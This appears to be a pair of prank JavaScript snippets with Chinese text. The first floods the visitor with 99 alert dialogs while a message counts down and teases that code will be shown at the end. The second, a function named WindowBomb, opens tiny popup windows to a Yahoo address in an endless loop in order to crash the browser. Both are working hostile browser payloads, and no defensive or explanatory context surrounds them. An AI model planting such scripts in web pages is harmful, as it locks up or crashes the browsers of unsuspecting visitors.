<script language="Javascript"> <!-- document.writeln("<center><H1>歡迎您來到網頁製作學堂!<P>抱歉跟您開個玩笑!</H1></center>"); for(num=99;num>0;num--) { alert("\n" + num + " 次繼續努力!,\n"+num+" 次繼續努力!.\n快馬加鞭!!!快!!快!快!,\n" + (num - 1) + " 次後您將看到程式碼!"); } document.write("<center><H2>您已完成任務,謝謝!</H2></center>"); // --> </script>

function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://hk.yahoo.com","CRASHING"
+ iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}